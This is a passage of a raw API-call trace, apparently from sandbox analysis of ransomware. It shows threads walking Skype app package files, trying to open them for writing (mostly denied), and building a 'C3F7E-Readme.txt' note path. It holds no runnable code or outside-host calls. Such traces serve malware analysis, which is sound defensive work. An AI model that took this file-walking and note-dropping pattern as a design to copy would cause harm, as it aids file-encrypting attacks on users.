	[0085.446] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d028) returned 1
	[0085.446] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925f40) returned 1
	[0085.446] NtQueryInformationFile (in: FileHandle=0x15cc, IoStatusBlock=0x1ec3fe00, FileInformation=0x1ec3fdd8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ec3fe00, FileInformation=0x1ec3fdd8) returned 0x0
	[0085.446] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x1ec3fe00, FileInformation=0x1ec3fdd8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2dc20) returned 1
	[0085.447] FlushFileBuffers (hFile=0x15cc) returned 1
	[0093.054] CloseHandle (hObject=0x15cc) returned 1
	[0093.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e398
	[0093.055] wcscpy (in: _Dest=0x476e398, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0093.055] wcscat (in: _Dest=0x476e398, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt"
	[0093.055] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\c3f7e-readme.txt")) returned 0x20
	[0093.055] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e398) returned 1
	[0093.056] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc690) returned 1

Thread:
	id = 848
	os_tid = 0x1368

	[0082.031] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp")) returned 0x20
	[0082.032] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0
	[0082.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.033] GetLastError () returned 0x5
	[0082.033] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0
	[0082.033] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc910) returned 1

Thread:
	id = 849
	os_tid = 0x1314

	[0082.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718830
	[0082.034] wcscpy (in: _Dest=0x4718830, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c"
	[0082.034] wcscat (in: _Dest=0x4718830, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\"
	[0082.034] wcscat (in: _Dest=0x4718830, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\*"
	[0082.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47129a8
	[0082.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\*", lpFindFileData=0x47129a8 | out: lpFindFileData=0x47129a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbff4e2d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba3c24b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba3c24b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7090
	[0082.034] wcscmp (_String1=".", _String2=".") returned 0
	[0082.034] FindNextFileW (in: hFindFile=0x46a7090, lpFindFileData=0x47129a8 | out: lpFindFileData=0x47129a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbff4e2d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba3c24b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba3c24b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.034] wcscmp (_String1="..", _String2=".") returned 1
	[0082.034] wcscmp (_String1="..", _String2="..") returned 0
	[0082.034] FindNextFileW (in: hFindFile=0x46a7090, lpFindFileData=0x47129a8 | out: lpFindFileData=0x47129a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc08d79c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc08d79c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc08d79c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1036, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.034] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.034] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e3afd0
	[0082.034] wcscpy (in: _Dest=0x2e3afd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c"
	[0082.034] wcscat (in: _Dest=0x2e3afd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\"
	[0082.034] wcscat (in: _Dest=0x2e3afd0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxBlockMap.xml"
	[0091.263] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\appxblockmap.xml")) returned 0x20
	[0091.263] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.263] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.263] GetLastError () returned 0x5
	[0091.263] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3afd0) returned 1
	[0091.264] FindNextFileW (in: hFindFile=0x46a7090, lpFindFileData=0x47129a8 | out: lpFindFileData=0x47129a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbff4e2d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbff4e2d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xbff4e2d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.264] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.264] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491eac8
	[0091.264] wcscpy (in: _Dest=0x491eac8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c"
	[0091.264] wcscat (in: _Dest=0x491eac8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\"
	[0091.264] wcscat (in: _Dest=0x491eac8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxManifest.xml"
	[0091.264] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\appxmanifest.xml")) returned 0x20
	[0091.269] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.270] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.270] GetLastError () returned 0x5
	[0091.270] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eac8) returned 1
	[0091.270] FindNextFileW (in: hFindFile=0x46a7090, lpFindFileData=0x47129a8 | out: lpFindFileData=0x47129a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc08d79c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0b39f5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0b39f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x295b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.270] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.270] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491dbc8
	[0091.270] wcscpy (in: _Dest=0x491dbc8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c"
	[0091.270] wcscat (in: _Dest=0x491dbc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\"
	[0091.270] wcscat (in: _Dest=0x491dbc8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxSignature.p7x"
	[0091.270] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\appxsignature.p7x")) returned 0x20
	[0091.276] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.276] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.276] GetLastError () returned 0x5
	[0091.276] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491dbc8) returned 1
	[0091.276] FindNextFileW (in: hFindFile=0x46a7090, lpFindFileData=0x47129a8 | out: lpFindFileData=0x47129a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba3c24b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba3c24b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba3c24b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.276] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.276] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4716bf8
	[0091.276] wcscpy (in: _Dest=0x4716bf8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c"
	[0091.277] wcscat (in: _Dest=0x4716bf8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\"
	[0091.277] wcscat (in: _Dest=0x4716bf8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata"
	[0091.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2e45250
	[0091.277] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata"
	[0091.277] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata\\"
	[0091.277] wcscat (in: _Dest=0x2e45250, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata\\*"
	[0091.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\microsoft.system.package.metadata\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba3c24b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba3c24b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba3c24b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0091.277] wcscmp (_String1=".", _String2=".") returned 0
	[0091.277] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba3c24b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba3c24b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba3c24b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.277] wcscmp (_String1="..", _String2=".") returned 1
	[0091.277] wcscmp (_String1="..", _String2="..") returned 0
	[0091.277] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba3c24b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba3c24b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba3c24b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0091.277] FindClose (in: hFindFile=0x477b568 | out: hFindFile=0x477b568) returned 1
	[0091.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0091.278] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.278] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716bf8) returned 1
	[0091.278] FindNextFileW (in: hFindFile=0x46a7090, lpFindFileData=0x47129a8 | out: lpFindFileData=0x47129a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b39f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0b39f5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0b39f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0091.278] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0091.278] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0091.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33900
	[0091.278] wcscpy (in: _Dest=0x4e33900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c"
	[0091.278] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\"
	[0091.278] wcscat (in: _Dest=0x4e33900, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\resources.pri"
	[0091.278] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\resources.pri")) returned 0x20
	[0091.278] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\resources.pri", dwFileAttributes=0x20) returned 0
	[0091.278] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.278] GetLastError () returned 0x5
	[0091.278] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\resources.pri", dwFileAttributes=0x20) returned 0
	[0091.278] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0091.278] FindNextFileW (in: hFindFile=0x46a7090, lpFindFileData=0x47129a8 | out: lpFindFileData=0x47129a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0b39f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb020b681, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc0b39f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeApp", cAlternateFileName="")) returned 1
	[0091.278] wcscmp (_String1="SkypeApp", _String2=".") returned 1
	[0091.278] wcscmp (_String1="SkypeApp", _String2="..") returned 1
	[0091.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477f6f0
	[0091.278] wcscpy (in: _Dest=0x477f6f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c"
	[0091.278] wcscat (in: _Dest=0x477f6f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\"
	[0091.279] wcscat (in: _Dest=0x477f6f0, _Source="SkypeApp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp"
	[0091.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477e110
	[0091.279] wcscpy (in: _Dest=0x477e110, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp"
